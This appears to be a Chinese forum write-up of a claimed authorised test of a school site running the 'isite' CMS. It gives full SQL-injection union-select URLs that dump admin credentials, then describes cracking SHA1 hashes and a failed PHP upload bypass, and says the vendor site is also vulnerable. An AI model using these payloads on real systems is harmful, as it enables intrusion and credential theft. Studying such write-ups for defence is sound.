意外發現一套cms的注入漏洞

  • 2019 年 11 月 20 日
  • 筆記

意外發現一套cms的注入漏洞

(說明:此次檢測為官方授權檢測!!!表情包與文章無關)

正文如下:

事情是這樣的某一天在一個安全交流群里聊天,一個朋友說他們老師叫他去檢測下他們學校官網,後來朋友他找到了我讓我幫助他進行安全檢測。

我這麼菜,但是還是去看看吧。

首先我們打開主站

訪問robots.txt文件,是存在的,可以看出是isite的 cms(在此之前聽都沒聽過….)。

去百度了下看下有啥公開的漏洞吧

不得不說用的人真的少,這些漏洞都試了下都沒用。

還是看看後台吧,後面加個 艾德密,得到後台通過各種弱口令,都沒結果。

既然這樣,從旁站下手好了,查了下,有這麼多。

我一個個找過去,結果全是這套程式,很無奈啊。

沒辦法我硬著頭皮看了看主站,隨便點了個連接,貌似偽靜態啊。試了半天還是放棄了。

繼續翻其他站,在一個站的首頁發現這個。

嘗試下 post 注入,加個單引號。

剛準備放棄….過了幾秒鐘 自動跳轉到到了另一個頁面。

繼續在搜索框那輸入了些查詢內容點擊檢索

Search 後面多了個 24,於是我加一個單引號………居然報錯了(頭一次人品爆發)。

檢測語句:and 1=1 和 and 1=2

返回結果

確定已經存在注入,這次就用手工注入吧。

先 order by 猜下欄位長度

http://www.xxx.com/index.php/iss/search/search/24%20order%20by%2010

返回正常

http://www.xxx.com/index.php/iss/search/search/24%20order%20by%2011

返回錯誤

http://www.xxx.com/index.php/iss/search/search/24%20union%20select%201,2,3,4,5,6,7,8,9,10

結果如下

沒有顯錯位,加個 and 1=2 試試

顯錯位替換成 database()和 version(),版本是 5.0 以上,有個默認資料庫 information

User(),不是 root 許可權

接下來查表名

http://www.xxx.com/index.php/iss/search/search/24%20and%201=2%20union%20select%201,group_concat(table_name),3,4,5,6,7,8,9,10%20from%20information_schema.tables%20where%2 0table_schema=0x6462xxxxxxxxxxx70696E6B5F636F6D

(這是資料庫的 hex 碼,xxx 代表馬賽克……)

出來很多啊,用審查元素全部複製下來

flexi_announcement,flexi_bbcode,flexi_channel,flexi_channel_config,flexi_config,flexi_content,flexi_content_subject,flexi_feedback,flexi_file,flexi_file_watermark,flei_inquiry,flexi_link,flexi_link_category,flexi_log,flexi_message,flexi_page,flexi_ search_cache,flexi_tag,flexi_tag_related,flexi_tpl_block,flexi_user,flexi_user_admi n,flexi_u

起初以為是 flexi_user_admin這個表,後來發現帳號密碼存在 flexi_user這個表中

接下來查他欄位http://www.xxx.com/index.php/iss/search/search/24%20and%201=2%20union%20select%201,group_concat(column_name),3,4,5,6,7,8,9,10%20from%20information_schema.columns%20where%20table_name=0x666C6578695F75736572

id,name,password,hit_question,hit_answer,email,real_name,gender,birthday,province,address,post_code,phone_code,mphone_code,group_id,reg_time,last_login_time,last_login_ip,login_count,post_count,manager,locked,new_msg_count,memo

經驗判斷存放帳號密碼的欄位是 name和password

http://www.xxx.com/index.php/iss/search/search/24%20and%201=2%20union%20select%201,name,3,4,5,6,7,password,9,10%20from%20flexi_user

就這樣,帳號密碼已經出來了 利用構造出來的 exp:

index.php/iss/search/search/24%20and%201=2%20union%20select%201,name,3,4,5,6,7,password,9,10%20from%20flexi_user

去主站訪問下

哈哈!!帳號PASS到手,但是我數了一下是40位…….

然後去百度看了看

說是 md5的然後我仔細看了看文章…..

好像並沒有用,然後我去官網下載了套源碼 查看程式碼發現是 sha1 加密。

拿起密碼就去某MD5解密,悲劇來了………

試了試另外一個,也是一樣的結果…..

然後看了看其他網站(SOMD5),可能真的人品爆發,有個站解密成功了然後登錄之。

大概看了看網站後台,在這添加上 php

找到個上傳文件的地方,感覺 鞋奧 就在眼前

點擊上傳發現…………我真是個命苦的人啊

只能拿出我苦練多年的打狗頭方法…….拿起 burp 抓包

在這裡構造畸形的 http,然後放包,成功上傳。(自帶滑稽表情)

點擊放大鏡

源碼暴露了,而且路徑也不對勁…….

看來這並不是他真實路徑,我們又翻了翻,發現了這個,點擊檢索

看到剛才上傳的文件,點擊源文件路徑變成了,多了個下劃線……. http://www.xxx.com/data/upload/2017-04/08215611_edit._php

這個問題卡了我兩天,各種姿勢都試了,還是沒辦法繞過,所以放棄了。

Ps:這個提供這套 cms 的站點也存在該漏漏

作者:IT同路人 (文章轉載請註明來自:IT同路人論壇)